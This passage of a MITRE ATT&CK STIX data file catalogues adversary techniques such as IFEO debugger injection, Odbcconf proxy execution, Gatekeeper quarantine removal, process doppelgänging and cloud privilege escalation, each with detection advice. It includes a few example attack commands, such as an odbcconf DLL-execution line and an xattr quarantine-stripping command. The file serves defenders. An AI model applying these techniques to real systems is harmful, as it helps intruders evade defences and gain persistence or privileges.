                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:39.823Z",
            "name": "Image File Execution Options Injection",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
            "created": "2020-01-24T15:01:32.917Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/008",
                    "external_id": "T1218.008"
                },
                {
                    "source_name": "Microsoft odbcconf.exe",
                    "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017"
                },
                {
                    "source_name": "LOLBAS Odbcconf",
                    "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
                },
                {
                    "source_name": "TrendMicro Squiblydoo Aug 2017",
                    "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/"
                },
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:01.231Z",
            "name": "Odbcconf",
            "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
            "created": "2020-10-02T16:50:12.809Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1593/002",
                    "external_id": "T1593.002"
                },
                {
                    "source_name": "SecurityTrails Google Hacking",
                    "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
                    "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
                },
                {
                    "source_name": "ExploitDB GoogleHacking",
                    "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
                    "url": "https://www.exploit-db.com/google-hacking-database"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:03:45.401Z",
            "name": "Search Engines",
            "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1177",
                    "external_id": "T1177"
                },
                {
                    "source_name": "Microsoft Security Subsystem",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
                },
                {
                    "source_name": "Microsoft LSA Protection Mar 2014",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Microsoft DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:42.032Z",
            "name": "LSASS Driver",
            "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f",
            "created": "2020-10-02T16:27:55.713Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591/002",
                    "external_id": "T1591.002"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:54:59.306Z",
            "name": "Business Relationships",
            "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c",
            "created": "2023-07-10T16:37:15.672Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/005",
                    "external_id": "T1548.005"
                },
                {
                    "source_name": "AWS PassRole",
                    "description": "AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                },
                {
                    "source_name": "Google Cloud Just in Time Access 2023",
                    "description": "Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.",
                    "url": "https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project"
                },
                {
                    "source_name": "Google Cloud Service Account Authentication Roles",
                    "description": "Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.",
                    "url": "https://cloud.google.com/iam/docs/service-account-permissions"
                },
                {
                    "source_name": "Microsoft Impersonation and EWS in Exchange",
                    "description": "Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange"
                },
                {
                    "source_name": "Azure Just in Time Access 2023",
                    "description": "Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                },
                {
                    "source_name": "Rhino Google Cloud Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved September 21, 2023.",
                    "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"
                },
                {
                    "source_name": "Hunters Domain Wide Delegation Google Workspace 2023",
                    "description": "Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.",
                    "url": "https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover"
                },
                {
                    "source_name": "Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023",
                    "description": "Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/"
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            "modified": "2025-04-15T23:15:17.608Z",
            "name": "Temporary Elevated Cloud Access",
            "description": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)",
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            "type": "attack-pattern",
            "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "created": "2017-05-31T21:31:37.917Z",
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                    "url": "https://attack.mitre.org/techniques/T1125",
                    "external_id": "T1125"
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                {
                    "source_name": "objective-see 2017 review",
                    "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
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            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
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            "x_mitre_contributors": [
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            "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1144",
                    "external_id": "T1144"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Clearing quarantine attribute",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                },
                {
                    "source_name": "Bypassing Gatekeeper",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
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            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2017-05-31T21:30:43.472Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1045",
                    "external_id": "T1045"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/570.html",
                    "external_id": "CAPEC-570"
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                {
                    "source_name": "Wikipedia Exe Compression",
                    "description": "Executable compression. (n.d.). Retrieved December 4, 2014.",
                    "url": "http://en.wikipedia.org/wiki/Executable_compression"
                },
                {
                    "source_name": "ESET FinFisher Jan 2018",
                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
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            "modified": "2025-04-25T15:15:42.708Z",
            "name": "Software Packing",
            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)",
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            "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",
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            "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
            "created": "2020-01-14T17:19:50.978Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/013",
                    "external_id": "T1055.013"
                },
                {
                    "source_name": "Microsoft TxF",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
                },
                {
                    "source_name": "Microsoft Basic TxF Concepts",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
                },
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                    "source_name": "Microsoft Where to use TxF",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
                },
                {
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
                },
                {
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
                },
                {
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
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            "modified": "2025-04-25T14:47:03.621Z",
            "name": "Process Doppelg\u00e4nging",
            "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the 